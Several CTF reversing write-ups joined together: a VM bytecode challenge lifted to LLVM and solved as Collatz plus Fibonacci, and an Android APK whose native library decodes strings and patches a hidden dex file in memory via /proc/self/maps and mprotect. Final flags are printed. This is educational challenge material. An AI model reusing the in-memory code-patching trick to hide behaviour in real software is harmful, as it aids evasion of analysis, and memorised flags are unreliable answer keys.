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[writeup by abiondo & kenoph]
**CTF:** Google CTF 2017 (Quals)
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** Reversing / Counting
**Points:** 246
# The challenge
```This strange program was found, which apparently specialises in counting. In order to find the flag, you need to output find what the output of ./counter 9009131337 is.
Update: Seems we have a minor bug in Counting - 32-bit truncation on getting the argument from command line. To get the flag you need to calculate the result of executing code for the full 64-bit 9009131337 value as the description states. A result for a truncated 32-bit value won't give you the correct result. We apologize for the inconvenience.```
We are given [two files](./challenge):
```code: datacounter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ac70b7c58cc7989f829c0f0d50431ea0a92cbefb, stripped```
We don't know what `code` is. Let's try running some inputs:
```$ for i in 32 33 34 35; do /usr/bin/time -f "%e" ./counter $i; doneCTF{0000000000000075}2.59CTF{0000000000000200}4.10CTF{0000000000000148}6.46CTF{000000000000009d}10.68```
That looks like exponential time. Running the program with the provided input isn't going to finish any time soon. Maybe if we figure out what it's calculating we can write a more efficient algorithm for it. Let's get to reversing!
We open it up in IDA and start going through it with the Hex-Rays Decompiler. We quickly figure out we're looking at a VM that loads its bytecode from the `code` file, verifies it's valid and finally executes it. Reversing the VM is quite easy, especially with the decompiler, so we won't be going into the details. Cleaned up and recompilabile source code is [available](./reverse/counter.c).
It is clear now that we'll have to reverse the bytecode. Sounds like fun.
# The VM
The `code` file starts with a 4-byte integer that specifies the number of instructions that follow. Instructions are labeled in the order the appear in the file, so the first one is instruction 0, the second one is instruction 1 and so on. Each instruction is a 16-byte structure with four 4-byte fields:
- **Opcode:** indicates the type of instruction;- **Operand:** depends on the opcode;- **Next 1 and 2:** labels of the next instructions to execute.
The VM has 26 64-bit registers, indexed 0 - 25. There are three opcodes (we made up mnemonics for them):
- `INC = (0, reg, next1, _unused_)`: `reg++; goto next1;`- `CDEC = (1, reg, next1, next2)`: `if (reg > 0) { reg--; goto next1; } else { goto next2; }`- `CALL = (2, n, next1, next2)`: `r0..r{n-1} = next1(r0, r1, ..., r25); goto next2;`
The first interesting thing to note is that every instruction specifies where to jump next. `INC` is what you would expect it to be, but `CDEC` and `CALL` are tricky.`CDEC`can be used to implement all sorts of control flows thanks to its conditional statement, while `CALL` has potentially many return values.
The VM stops when it reaches the instruction past the last one, which in our case is 119 (since we have 119 instructions). If it's inside a `CALL`, it returns.
# Preliminary Analysis
Before deciding what to do, we needed to figure out how the instructions are used in the actual bytecode we were given.
The first step was to write a [simple disassembler](./tools/disasm.py) that would output a human-readable version of the bytecode. The output was something like this:
```asm... 65: cdec r3, 65, 66 ; Xrefs: 65 66: cdec r0, 67, 68 ; Xrefs: 67 67: inc r3, 66 68: cdec r3, 69, 119 ; Xrefs: 66...```
Using some simple bash kung fu, we were able to immediately figure out which registers are actually used:
```bash$ grep -oP 'r\d+' code.asm | sort | uniqr0r1r2r3r4r25```
That `r25` register looks suspicious... Another quick `grep`:
```bash$ grep 'inc r25' code.asm | wc -l0```
So `r25` is never incremented. This is interesting because its initial value is zero, so we can assume `r25 = 0` in the entire program. This allows us to translate code like `CDEC r25, next1, next2` into an unconditional jump to `next2`.
We can check how many return registers are actually used by calls:
```bash$ grep -Po '(?<=call {)[^}]*' code.asm | sort | uniqr0r0, r1```
Nice, two at most.
At this point, we were starting to wonder whether to use a manual approach or an automatic one to tackle the challenge. For this reason, we wrote a [small python script](./tools/callgraph.py) to generate the callgraph of the bytecode. Here's the result:
It also generates nice CFGs, for example for the function at 20:
The callgraph doesn't look too bad, but there's some recursion going on. All those simple instructions were messing with our brains. We didn't study CS for this!
# Lifting the bytecode
Being the lazy millennials we are, we clearly needed some(one|thing) to offload the manual work to. We thought of lifting the bytecode to LLVM intermediate language. We then grab (yet another) coffee, let the LLVM optimizers do some unspeakable black magic, and presto! we have greatly cleaned-up IL. There are tools to decompile LLVM IL to C (e.g. fcd, CppBackend), but as always happens during CTFs we either had issues getting them to work or the output wasn't that good. So we trusted that compiling and then feeding it into the decompiler would do. The final tool is available [here](./tools/transllvm.py).
## SSA form basics
The LLVM IL is in SSA (Static Single Assignment) form. If you already know what it is, then you can skip ahead to the next section. Otherwise, bear with us for a moment. SSA means that each variable is assigned exactly once through the whole code. In our case, the registers are variables. When we change the value of a register, what we really do is creating a new variable to which we assign the new value. The current register state keeps track of the most recent version of each register.
There is a small hiccup to be solved. Imagine, at a higher level, you have code like this that you want to transform into SSA form:
```if (x < 10) y = 42;else y = 1337;do_something(y);```
When restructured into basic blocks it'll look like:
``` +-----------+ | | | x < 10? | | | +-----+-----+ | true +--------+--------+ false | |+------v-----+ +------v-----+| | | || y = 42 | | y = 1337 || | | |+------+-----+ +------+-----+ | | +--------+--------+ | +---------v---------+ | | | do_something(y) | | | +-------------------+```
This is not in SSA form, since `y` is assigned twice (even though it's in different blocks). We solve this by creating two separate versions of `y`, one for each assignment. But if we use different variables, how do we know which one we should use in the `do_something` block? The answer is that we define a *phi function* that selects a variable based on the predecessor block, like this:
``` +-----------+ | | | x < 10? | | | +-----+-----+ | true +--------+--------+ false | |+------v-----+ +------v-----+| | | || y1 = 42 | | y2 = 1337 || | | |+------+-----+ +------+-----+ | | +--------+--------+ | +---------v---------+ | | | y = phi(y1, y2) | | do_something(y) | | | +-------------------+```
Where `phi(y1, y2)` takes the value of `y1` if we come from the `true` block, or the value of `y2` if we come from the `false` block.
## Bytecode translation
The lifted code will have to be divided into functions. We mark the beginning of functions at next1 targets of `CALL` instructions. Two properties of the bytecode make this easy:
- all calls to a given function always have the same return registers;- there are no simple branches to functions.
Since the return register R0 is always present, it's passed back to the caller as the return value. If R1 is also a return register, then the function takes a pointer into which to store it as first argument. Every function also takes the 5 registers at the callsite, passed by value.
For example, a function called by `CALL {R0}, foo, ...` would have this prototype:
```// Returns r0int64_t foo(int64_t r0, int64_t r1, int64_t r2, int64_t r3, int64_t r4);```
While one called by `CALL {R0, R1}, bar, ...` would be like:
```// Returns r0, stores r1 in *r1_outint64_t bar(int64_t *r1_out, int64_t r0, int64_t r1, int64_t r2, int64_t r3, int64_t r4);```
A function is also defined at instruction 0, acting as the bytecode entry point. It's never called and the only branches are like `CDEC R25, 0, X` which, as previously noted, never actually branch to 0.
The lifted code for a function starts by allocating a scratch area on the stack, which will be used later. The current register state for the function is initialized from the passed (by value) registers. We can now generate the actual function body. When we reach a branch to 119, we store R1 into its pointer (if needed) and return R0.
To generate the function body we use an instruction-per-instruction, depth-first exploration strategy. Each instruction marks the beginning of a new basic block. We terminate the previous block with a branch to the new block.
We start the new block with a phi node for each register. The nodes are initialized with a mapping between the edge from the previous block and the current register state. References to the block and its phi nodes are saved for later use (inside the same function). When we encounter a branch to a block that we already translated, we generate a branch to it and add the new incoming edge to its phi nodes, mapping it to the current register state.
Let's now look at how we lift an instruction into the block body.
The `INC` opcode is easy: we just increment the register and go on to translate next1.
For `CDEC` we first check whether we are working with R25: if so, we can just go straight to translating next2 (because R25 is always zero). Otherwise we generate a comparison to check whether the register is zero. If it isn't, we decrement it and (recursively) translate next1. Otherwise, we go on to translate next2.
For `CALL`, we simply generate a call and assign the return value to R0. If the callee also returns R1, we pass it the address of the scratch area as the pointer, and after the call we load R1 from there. This is needed because our local registers are just IL values, which don't have an address.
Since the VM initializes R0 to the input and the other registers to zero, we create an `int64_t entry(int64_t input)` function that initializes the register state and calls the function at 0. It then returns R0, which is the output.
Now, don't think even for a second this was the first algorithm we came up with. We did plenty of idiotic stuff:
- building more versions of LLVM than one should in a year;- passing registers as arrays, pointers, mixed types, structures and probably something else, too (this affects optimizability);- forgetting Python constructs mutable default arguments only once;- messing up phi nodes, in more than one way;- trying to write an LLVM lifter during a CTF when neither you nor anyone in your team ever touched LLVM IL.
But we knew all about SSA form, so we had that going for us.
# Optimizing the bytecode
Before optimizations, we're looking at 11 functions over 1.3k lines of IL. We enable some aggressive inlining, which allows the other default passes to do wonders in terms of code clean-up (mostly through constant folding, copy propagation and the like). We also run a dead argument elimination pass. After optimizations, we're left with 2 functions (only one of which is recursive) over 150 lines of IL. Not bad, uh? ;)
We found that even with the same optimizations, different LLVM versions produced different output, both at the IL level and (more importantly) when compiled and ran through the decompiler. We'll appeal to Clarke's third law to mask our cluelessness and just say that out of everything we tested, MCJIT from LLVM 3.9 produced the cleanest code once decompiled.
# Reversing the bytecode
Time to crack the [translated binary](./out/code_llvm) open in IDA. This is what the decompiler gives us for `entry`:
```cint __fastcall entry(unsigned __int64 a1) { int result; // eax@2 __int64 v2; // rsi@3 unsigned __int64 v3; // r8@3 __int64 v4; // rcx@5 unsigned __int64 v5; // r9@5 unsigned __int64 v6; // rdx@6 unsigned __int64 v7; // rax@6
if (a1 >= 11) { v2 = 0LL; v3 = a1; do { if (v3 >= 2) { v4 = 0LL; v5 = v3; do { v6 = 0LL; v7 = v5; while (v7) { if (v7 == 1) { v6 = 3 * v5 + 1; break; } v7 -= 2LL; ++v6; } ++v4; v5 = v6; } while (v6 >= 2); v2 += v4; } } while (v3-- != 0); result = sub_70(a1, v2); } else { result = 0; } return result;}```
Quotients and remainders are calculated via subtraction loops that are easy to simplify. Let's manually clean it up a bit:
```cint __fastcall entry(unsigned __int64 n) { __int64 v2; // rsi@3 unsigned __int64 v3; // r8@3 __int64 v4; // rcx@5 unsigned __int64 v5; // r9@5 unsigned __int64 v6; // rdx@6 unsigned __int64 v7; // rax@6
if (n < 11) return 0;
v2 = 0; v3 = n; for (v3 = n; v3 >= 2; v3--) { v4 = 0; v5 = v3; do { v6 = v5 / 2; v7 = v5 % 2; if (v7 == 1) v6 = 3 * v5 + 1; ++v4; v5 = v6; } while (v6 >= 2); v2 += v4; }
return sub_70(n, v2);}```
We can see it's traversing a sequence where the next value *f(x+1)* is *f(x)/2* if *x* is even or *3f(x)+1* if *x* is odd. We recognize that! It's working with [hailstone sequences](https://en.wikipedia.org/wiki/Collatz_conjecture). We can see that `v4` stores the length of the sequence, also known as *total stopping time*. The outer loop is going through all hailstone sequences for 2...*n*, summing all their stopping times into `v2`. Finally, the result is obtained as `sub_70(n, v2)`.
Okay, let's look at `sub_70` now:
```csigned __int64 __fastcall sub_70(__int64 a1, __int64 a2) { signed __int64 result; // rax@1 signed __int64 v3; // r15@3 __int64 v4; // rcx@5 __int64 v5; // rcx@8 signed __int64 v6; // rdx@9
result = 0LL; if (a1) { result = 1LL; if (a1 != 1) { v3 = sub_70(a1 - 1, a2); if (a2) { result = v3 + sub_70(a1 - 2, a2); do { v4 = 0LL; do { if (result == v4) return result; ++v4; } while (a2 != v4); v5 = 0LL; while (1) { v6 = 0LL; if (!(v5 + result)) break; if (!(--v5 + a2)) { v6 = v5 + result; break; } } result = v6; } while (a2); } while (1); } } return result;}```
The `while (a2 != v4)` loop returns `result` if `result < a2`. Subtraction loops are used here, too, to calculate a remainder: the big `while (1)` loop subtracts `a2` from `result`. After some cleanup we're left with this:
```csigned __int64 __fastcall sub_70(__int64 n, __int64 m) { signed __int64 result; // rax@1
if (n == 0) return 0; if (n == 1) return 1;
while(m == 0);
result = sub_70(n-1, m) + sub_70(n-2, m); return result % m;}```
This is a recursive function with base cases `sub_70(0) = 0` and `sub_70(1) = 1`. In the recursive case, it calculates `sub_70(n-1, m) + sub_70(n-2, m)`, then takes it modulo *m*. This is simply the *n*-th [Fibonacci number](https://en.wikipedia.org/wiki/Fibonacci_number) modulo *m*. The infinite loop on `m == 0` makes sense since division by zero is not defined.
We finally know how to generate the output from an input *n*:
1. Calculate *s* as the sum of the total stopping times for all hailstone sequences for 2...*n*;2. Calculate the result as the *n*-th Fibonacci number modulo *s*.
We wrote a [C program](./tools/solve.c) to find the flag more efficiently. We calculated stopping times the naive way (except we used `(3n + 1)/2` to perform two steps in one) - no caching. For Fibonacci we used a simple iterative solution that runs in linear time with *n*. While there are solutions in logarithmic time, we don't really care as the runtime is heavily dominated by the Collatz loop.
```$ time ./solve 9009131337 Sum: 2037448192360CTF{000001bae15b6382}./solve 9009131337 2214.60s user 0.04s system 99% cpu 36:57.86 total```
Profit!
# Conclusion
After this awesome writeup, there's a final question that needs to be answered: **was it worth it to do all of this just to avoid some manual reversing?**
We will never know.
What we do know is that staring at a screen without sleeping much is a recipe for screwing things up... and we also learnt some nice LLVM stuff as a bonus. Now we know kung fu. |
**DISCLAIMER**: Solved after competition ended.
>Android is all about the desserts, but can you come up with the secret recipe to cook up a flag?[food.apk](https://capturetheflag.withgoogle.com/attachment/9fbe2bb7e74937796b6d7eb734cdde808f3cecb7e8c4c6dcd066fbfe477e45b3)
If the link above doesn't work to download the apk, I uploaded the apk to this folder as [food.apk](food.apk).
The first step with our apk (Android mobile app) is to decompile it. I normally use this site: http://www.javadecompilers.com/apk. You can view the files from the decompiled apk in the [food_source_from_JADX](food_source_from_JADX) folder.
For those of you who aren't familiar with Android apps, when you start an application, the `MainActivity` is normally the one that's launched first, but we can verify which Activity is launched by looking at the `AndroidManifest.xml`, which can be found [here](./food_source_from_JADX/AndroidManifest.xml).
Pay close attention to this:```<activity android:name="com.google.ctf.food.FoodActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter></activity>```The `android.intent.action.MAIN` and `android.intent.category.LAUNCHER` tell us that `com.google.ctf.food.FoodActivity` is the main activity of the application and the one that's launched first when you first open the app.
So now let's take a look at the [com.google.ctf.food.FoodActivity.java](./food_source_from_JADX/com/google/ctf/food/FoodActivity.java) file```package com.google.ctf.food;
import android.app.Activity;import android.os.Bundle;import android.support.v7.app.AppCompatActivity;
public class FoodActivity extends AppCompatActivity { public static Activity activity;
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView((int) C0174R.layout.activity_food); activity = this; System.loadLibrary("cook"); }}```So for this activity, `C0174R.layout.activity_food` is the layout that's used, let's look at the layout resource file and see if there's anything interesting in it. It will probably be located in [/res/layout/activity_food.xml](./food_source_from_JADX/res/layout/activity_food.xml). There's only a Relative Layout and nothing else interesting, so let's take a look at this line: `System.loadLibrary("cook");`.
According to the [Android Docs](https://developer.android.com/reference/java/lang/System.html#loadLibrary(java.lang.String)):
>Loads the native library specified by the libname argument. The libname argument must not contain any platform specific prefix, file extension or path. If a native library called libname is statically linked with the VM, then the JNI_OnLoad_libname function exported by the library is invoked. See the JNI Specification for more details. Otherwise, the libname argument is loaded from a system library location and mapped to a native library image in an implementation- dependent manner.The call `System.loadLibrary(name)` is effectively equivalent to the call`Runtime.getRuntime().loadLibrary(name)`
So essentially what the method is doing is loading a native library, and looking at this StackOverflow question: https://stackoverflow.com/questions/27421134/system-loadlibrary-couldnt-find-native-library-in-my-case, we see that if our argument is `"cook"`, then there's probably a `libcook.so` in the `/lib/` folder, which [there is!](./food_source_from_JADX/lib/x86/libcook.so)
**Note**: There's a `x86` and `armeabi` folder, I use the `libcook.so` in the `x86` folder, because when I decompile the file using IDA Pro, it's easier to view the pseudocode and assembly code.
So the `.so` tells us that it's a shared library file, and according to what the Android Docs said above, we're looking for a JNI_OnLoad_libname function cause that is what invoked, so the flag will probably be somewhere in that function.
So now we decompile the `libcook.so` file using IDA Pro. The psuedocode that IDA gives us is in the file [libcook.c](./libcook.c). On the side we can view the assembly code for the `JNI_OnLoad` function, so let's look at that.
Initially, we see a lot of `mov` statements with large hex numbers, so it looks like those values are being put onto the stack. After these values are put on the stack, then the function `sub_680` is called. This assembly code corresponding to this statement in the pseudocode: `filename = (char *)sub_680(21, 32);`.
Now let's look at `sub_680`. The following is the psuedocode for the function:
```_BYTE *__cdecl sub_680(int a1, char a2){ _BYTE *v2; // ebp@1 int v3; // ecx@1 unsigned int v4; // edx@2
v2 = malloc(2 * a1 + 1); v3 = 0; if ( a1 > 0 ) { do { v4 = *((_DWORD *)&a2 + v3); v2[2 * v3] = ~((BYTE1(v4) | ~*(&a2 + 4 * v3)) & (v4 | ~BYTE1(v4))); v2[2 * v3++ + 1] = (v4 >> 16) ^ BYTE3(v4); } while ( v3 != a1 ); } v2[2 * a1] = 0; return v2;}```
So analyzing the function we see a couple of things, first it frees up memory using `malloc`. Then it does a do-while loop in which we take the address of `a2` (one of the inputs), cast it to a `_DWORD` pointer, add `v3` to this pointer, and then dereference the pointer. This is typical psuedocode IDA will give you when looping through some kind of array, we don't see any array. Remember those `mov` statements from earlier? All of those values were added to the stack, and `v4` is basically just looping through all of those values. The loop runs `a1` times, and if we see how many values are added to the stack through the `mov` statements, it's 21, and we also see 21 as a parameter to the `sub_680` function, so that confirms that the loop is probably looping through the values we added to the stack
With the line `filename = (char *)sub_680(21, 32);`, `32` is what's passed to `a2`, so if we look at the stack and the assembly code, that's the `mov [esp+0ECh+mode], 25410F20h` line (32 in hex is 0x20). Because the `char` type in c is only 1 byte, we can only pass one byte as the value of `a2`, that's the reason why 32 is used as opposed to 0x25410F20, so the last byte (0x20) is being passed as the parameter. But, as we see in the psuedocode, it casts the addess as a `_DWORD` pointer, so when we derefence it, `v4` will have the value of 0x25410F20, because that value can be stored in a `_DWORD`.
So `v4` is looping through the values we added to the stack, and then it's doing some computations and storing them where we freed memory using `malloc` and then the function returns `v2`. Let's try and rewrite the computations the function is doing in python along with those values we added to the stack just to see what numbers we get and attempt to convert those numbers to printable ASCII chars.
```def byte3(val): return (val >> 24) & 0xff
def byte2(val): return (val >> 16) & 0xff
def byte1(val): return (val >> 8) & 0xff
def byte0(val): return val & 0xff
def dec(vals): string = ''; for s in vals: news = ''; news += chr(~((byte1(s) | ~byte0(s)) & (s | ~byte1(s)))); news += chr(byte2(s) ^ byte3(s)); string += news; return string;
vals = [0x25410F20, 0x10640564, 0x5B744120, 0x4650C68, 0x6675420, 0x0C6F5D72, 0x36E1A75, 0x47204A64, 0x0A650D62, 0x0A660265, 0x4F614520, 0x10640D6E, 0x4D634620, 0x6F096F, 0x4420046B, 0x86E5A75, 0x5691D74, 0x5320096C, 0x16724D62, 0x1377416F, 0x1D650B6E]filename = dec(vals);print filename```
So to explain the code, the reason why `*(&a2 + 4 * v3))` turned into `byte0(s)` is because `a2` is a char, so it's only 1 byte, and when you add `4*v3`, which will take values of `0,4,8,..`, you're basically going up the stack 0 bytes, 4 bytes, 8 bytes, etc, which corresponds to the lowest byte of each value we added on the stack. Also this expression: `(v4 >> 16)` was changed to just `byte2(s)` because `v2` in the pseudocode is of type `_BYTE`, so that means all of the computations will only get an answer that's a byte, which will probably be the lower byte of the result. When we run the python script we get the following: `/data/data/com.google.ctf.food/files/d.dex`. So this look like a file that might be hidden somewhere in this apk.
We look further in the pseudocode and see this line: `fwrite("dex\n035", 0x15A8u, 1u, v5)`, and `v5 = fopen(filename, v4)`, so we open the file `/data/data/com.google.ctf.food/files/d.dex` and we're writing data to it. We can double click on the `"dex\n035"` in IDA and see that it's at address `0x00001640`, so we copy the data from `0x00001640` to `0x00001640 + 0x15A8` and save that file as [d.dex](d.dex).
Searching online, a `.dex` file is nothing but a compiled Android program. All dex files are then zipped into one apk, and that's how an Android app is made. So we can decompile the `d.dex` file we have using an online tool again. This site: http://www.javadecompilers.com/apk works pretty well, and you can view the files from the decompiled d.dex file in the [d.dex_source_from_JADX](d.dex_source_from_JADX) folder.
We have 4 java files with weird names, but the [C0000F.java](./d.dex_source_from_JADX/com/google/ctf/food/C0000F.java) is interesting.
```public class C0000F extends BroadcastReceiver { private static byte[] flag = new byte[]{(byte) -19, (byte) 116, (byte) 58, (byte) 108, (byte) -1, (byte) 33, (byte) 9, (byte) 61, (byte) -61, (byte) -37, (byte) 108, (byte) -123, (byte) 3, (byte) 35, (byte) 97, (byte) -10, (byte) -15, (byte) 15, (byte) -85, (byte) -66, (byte) -31, (byte) -65, (byte) 17, (byte) 79, (byte) 31, (byte) 25, (byte) -39, (byte) 95, (byte) 93, (byte) 1, (byte) -110, (byte) -103, (byte) -118, (byte) -38, (byte) -57, (byte) -58, (byte) -51, (byte) -79}; private Activity f0a; private int f1c; private byte[] f2k = new byte[8];
public void cc() { /* JADX: method processing error */ throw new UnsupportedOperationException("Method not decompiled: com.google.ctf.food.F.cc():void"); }
public C0000F(Activity activity) { this.f0a = activity; for (int i = 0; i < 8; i++) { this.f2k[i] = (byte) 0; } this.f1c = 0; }
public void onReceive(Context context, Intent intent) { this.f2k[this.f1c] = (byte) intent.getExtras().getInt("id"); cc(); this.f1c++; if (this.f1c == 8) { this.f1c = 0; this.f2k = new byte[8]; for (int i = 0; i < 8; i++) { this.f2k[i] = (byte) 0; } } }}```
We see a `byte[]` array called "flag", but none of the bytes there are printable ascii chars, so we probably have to apply some kind of transformation to it. Also it seems one of the methods: `cc()` wasn't able to decompile properly. If we look at the other 3 java files, we don't see any reference to the `byte[] flag` from this java file. So what do we do now?
Let's look a little further in the pseudocode. We see these 3 lines:
```remove(filename),remove(v37),rmdir(path),```
So it looks like it removes the `d.dex` file, and then close to the end of `JNI_OnLoad` there's a function call to `sub_710()`. Let's take a look at that function.
```signed int sub_710(){ const char *v0; // esi@1 const char *v1; // eax@1 const char *v2; // eax@3 signed int result; // eax@5 __int32 v4; // esi@8 _BYTE *v5; // eax@8 void *v6; // edi@8 int v7; // eax@8 void *v8; // edx@9 char *v9; // edi@17 int v10; // esi@17 char v11; // al@18 int v12; // edx@18 FILE *v13; // [sp+28h] [bp-1C4h]@1 _BYTE *v14; // [sp+2Ch] [bp-1C0h]@8 char nptr[4]; // [sp+33h] [bp-1B9h]@8 int v16; // [sp+37h] [bp-1B5h]@8 char v17; // [sp+3Bh] [bp-1B1h]@8 char v18; // [sp+3Ch] [bp-1B0h]@17 char haystack; // [sp+CCh] [bp-120h]@3 int v20; // [sp+D0h] [bp-11Ch]@8 int v21; // [sp+1CCh] [bp-20h]@1
v21 = _stack_chk_guard; v0 = sub_680(1, 114); v1 = sub_680(8, 72); v13 = fopen(v1, v0); if ( v13 ) { do { if ( !fgets(&haystack, 256, v13) ) goto LABEL_5; v2 = sub_680(3, 101); } while ( !strstr(&haystack, v2) ); v17 = 0; *(_DWORD *)nptr = *(_DWORD *)&haystack; v16 = v20; v4 = sysconf(40); v5 = (_BYTE *)strtoul(nptr, 0, 16); v14 = v5; v6 = v5; v7 = mprotect(v5, v4 * (1968 / v4 + 8), 7); if ( !v7 ) { v8 = v6; if ( 8 * v4 > 0 ) { while ( *(_BYTE *)v8 != 100 || *((_BYTE *)v8 + 1) != 101 || *((_BYTE *)v8 + 2) != 120 || *((_BYTE *)v8 + 3) != 10 || *((_BYTE *)v8 + 4) != 48 ) { ++v7; v8 = (char *)v8 + 1; if ( v7 == 8 * v4 ) goto LABEL_5; } qmemcpy(&v18, &unk_15A0, 0x90u); v9 = &v1;; v10 = v7 - (_DWORD)&v1;; do { v11 = *v9; v12 = (int)&(v9++)[v10]; v14[v12 + 1824] = v11 ^ 0x5A; } while ( v9 != &haystack ); }LABEL_5: fclose(v13); result = 1; goto LABEL_6; } } result = 0;LABEL_6: if ( v21 != _stack_chk_guard ) sub_650(); return result;}```
We first notice two calls to the `sub_680` function again, and then it calls `fopen`, so what file are we opening? If we use our script again, the value of `v1` is `/proc/self/maps`. So we're reading the process memory of our apk (Linux and Android are actually very similar in how they work and their architecture).
This line: `fgets(&haystack, 256, v13)` is reading 256 chars from `/proc/self/maps` and storing those chars in `haystack`. There's another call to `sub_680`: `v2 = sub_680(3, 101);`, and `v2` has a value of `/d.dex`, so looking at that first do-while loop, we're reading the process memory of our apk and we're looking for `/d.dex`. The way `/proc/self/maps` works is that it lists each process in a table-like format and then displays information about each process such as the address range each process take up, the permissions (read/write/execute) associated with the memory, and other things. So we're looking for the `/d.dex` process specifically. Let's look at these 2 lines:
```*(_DWORD *)nptr = *(_DWORD *)&haystack;v5 = (_BYTE *)strtoul(nptr, 0, 16);```
So we are taking 4 bytes from where where `haystack` is stored and then we're storing that value in `nptr` (which has type `char[4]`, so it's a string. Then we take the number from that string, convert it from base 16, and then store that value in `v5`. So whenever you look at `/proc/self/maps`, the beginning of each line for a process starts with the starting address of where the memory is stored, so what these 2 lines are doing is it's storing the starting address for where `/d.dex` stores its memory and it's putting that value in `v5`. From what we did previously, we can assume that this starting value is `0x00001640`, because that was the starting address we used when writing to the `d.dex` file.
If we look at the rest of the code we see this line: `qmemcpy(&v18, &unk_15A0, + 0x90u);`, which is basically copying the data from address `&unk_15A0 + 0x90u` to `&v18`, and also this line: `v14[v12 + 1824] = v11 ^ 0x5A;`. The way the pseudocode is written is a little confusing, but because we're assuming `v5` is `0x00001640` then `v7` will still have a value of `0` because the first 5 bytes (0x1640-0x1644) are `100, 101, 120, 10, 48` exactly so the while loop doesn't run at all. Now looking at the assembly code it seems `v12 = (int)&(v9++)[v10];` is just taking the pointers `v9` and `v10`, adding their values, and `v12` is that value, so it's a pointer from the sum of 2 other pointers. Because `v7` is `0`, however, `v12` will also have a value of `0`. `v14 = v5`, so `v14` starts are the address `0x00001640` and we have to add 1824 to that. Then we replace `0x00001640 + 1824` to `0x00001640 + 1824 + 90` with the 90 bytes from the `qmemcpy` call xored with `0x5A`, which is done in the following python code:
```a = '49 5E 52 5A 79 1B 7B 5A 7C 5B 66 5A 5A 5A 48 5A 6F 1A 55 5A 12 58 5B 5A 0E 09 5F 5A 12 59 59 5A ED 68 D7 78 15 58 5B 5A 82 5A 5A 5B 72 A8 78 5A 45 5A 2A 7A 7E 5A 4A 5A 40 5B 5A 5A 34 7A 7F 5A 4A 5A 50 5A 63 5A 47 5A 0E 0A 58 5A 34 4A 5B 5A 5A 5A 56 5A 78 5B 45 5A 38 58 5E 5A 0E 09 5F 5A 2B 7A 78 5A 68 5A 56 58 2A 7A 7E 5A 7B 5A 48 48 2B 6A 4F 5A 4A 58 56 5A 34 4A 4C 5A 5A 5A 54 5A 5A 59 5B 5A 52 5A 5A 5A 40 41 44 5E 4F 58 48 5D';
li = a.split(' ');newli = [];
for char in li: newli.append(chr(int(char, 16) ^ 0x5A).encode('hex')) print ''.join(newli);```
This returns `130408002341210026013c000000120035400f00480201005453050048030300b7328d224f020100d800000128f222001f007020240010001a0100006e20250010000a0039001d00545002006e10010000000c0022011f0062020400545305007120220032000c0270202400210012127130150010020c006e10160000000e0000030100080000001a1b1e0415021207`
Now using a hex editor, you can replace those 90 bytes with the new 90 bytes we just computed and that file is now [d_new.dex](d_new.dex). Once again we decompile it again and you can view the decompiled files in the [d_new.dex_source_from_JADX](d_new.dex_source_from_JADX) folder. Going back to our [C0000F.java](./d_new.dex_source_from_JADX/com/google/ctf/food/C0000F.java), we now see that the `cc()` function has decompiled successfully!
```package com.google.ctf.food;
import android.app.Activity;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.widget.Toast;
public class C0000F extends BroadcastReceiver { private static byte[] flag = new byte[]{(byte) -19, (byte) 116, (byte) 58, (byte) 108, (byte) -1, (byte) 33, (byte) 9, (byte) 61, (byte) -61, (byte) -37, (byte) 108, (byte) -123, (byte) 3, (byte) 35, (byte) 97, (byte) -10, (byte) -15, (byte) 15, (byte) -85, (byte) -66, (byte) -31, (byte) -65, (byte) 17, (byte) 79, (byte) 31, (byte) 25, (byte) -39, (byte) 95, (byte) 93, (byte) 1, (byte) -110, (byte) -103, (byte) -118, (byte) -38, (byte) -57, (byte) -58, (byte) -51, (byte) -79}; private Activity f0a; private int f1c; private byte[] f2k = new byte[8];
public C0000F(Activity activity) { this.f0a = activity; for (int i = 0; i < 8; i++) { this.f2k[i] = (byte) 0; } this.f1c = 0; }
public void onReceive(Context context, Intent intent) { this.f2k[this.f1c] = (byte) intent.getExtras().getInt("id"); cc(); this.f1c++; if (this.f1c == 8) { this.f1c = 0; this.f2k = new byte[8]; for (int i = 0; i < 8; i++) { this.f2k[i] = (byte) 0; } } }
public void cc() { byte[] bArr = new byte[]{(byte) 26, (byte) 27, (byte) 30, (byte) 4, (byte) 21, (byte) 2, (byte) 18, (byte) 7}; for (int i = 0; i < 8; i++) { bArr[i] = (byte) (bArr[i] ^ this.f2k[i]); } if (new String(bArr).compareTo("\u0013\u0011\u0013\u0003\u0004\u0003\u0001\u0005") == 0) { Toast.makeText(this.f0a.getApplicationContext(), new String(C0004.m0(flag, this.f2k)), 1).show(); } }}```
So in order to get our flag, we have to run `C0004.m0(flag, this.f2k)`, unfortunately we don't know what `this.f2k` is because of this line `this.f2k[this.f1c] = (byte) intent.getExtras().getInt("id");`. If we look in the [C0003S.java](./d_new.dex_source_from_JADX/com/google/ctf/food/C0003S.java) file, we see the following lines:
```Intent intent = new Intent(C0003S.f3I);intent.putExtra("id", i);activity.sendBroadcast(intent);```
And `i` can take on any random value from 0 to 32. However, we can figure out `this.f2k` by doing some simple xor: we know each value of `bArr[]` will be xored with each value from `this.f2k` to get a new `bArr[]`, but we know that `new String(bArr)` has to equal `"\u0013\u0011\u0013\u0003\u0004\u0003\u0001\u0005"`, so we know that `bArr[]` has to have values of `[0x13,0x11,0x13,0x3,0x4,0x3,0x1,0x5]` and then we can xor that with `new byte[]{(byte) 26, (byte) 27, (byte) 30, (byte) 4, (byte) 21, (byte) 2, (byte) 18, (byte) 7};` in order to get `this.f2k` and then we can get our flag. This is done in [FoodSolve.java](FoodSolve.java).
When you run [FoodSolve.java](FoodSolve.java) you will get the flag: `CTF{bacon_lettuce_tomato_lobster_soul}`.
Our flag is `CTF{bacon_lettuce_tomato_lobster_soul}`
Very fun and interesting problem, learned a lot about reversing apks! |
# WhiteHat Challenge 03 : For001
**Category:** For**Points:** 15**Solves:** **Description:**
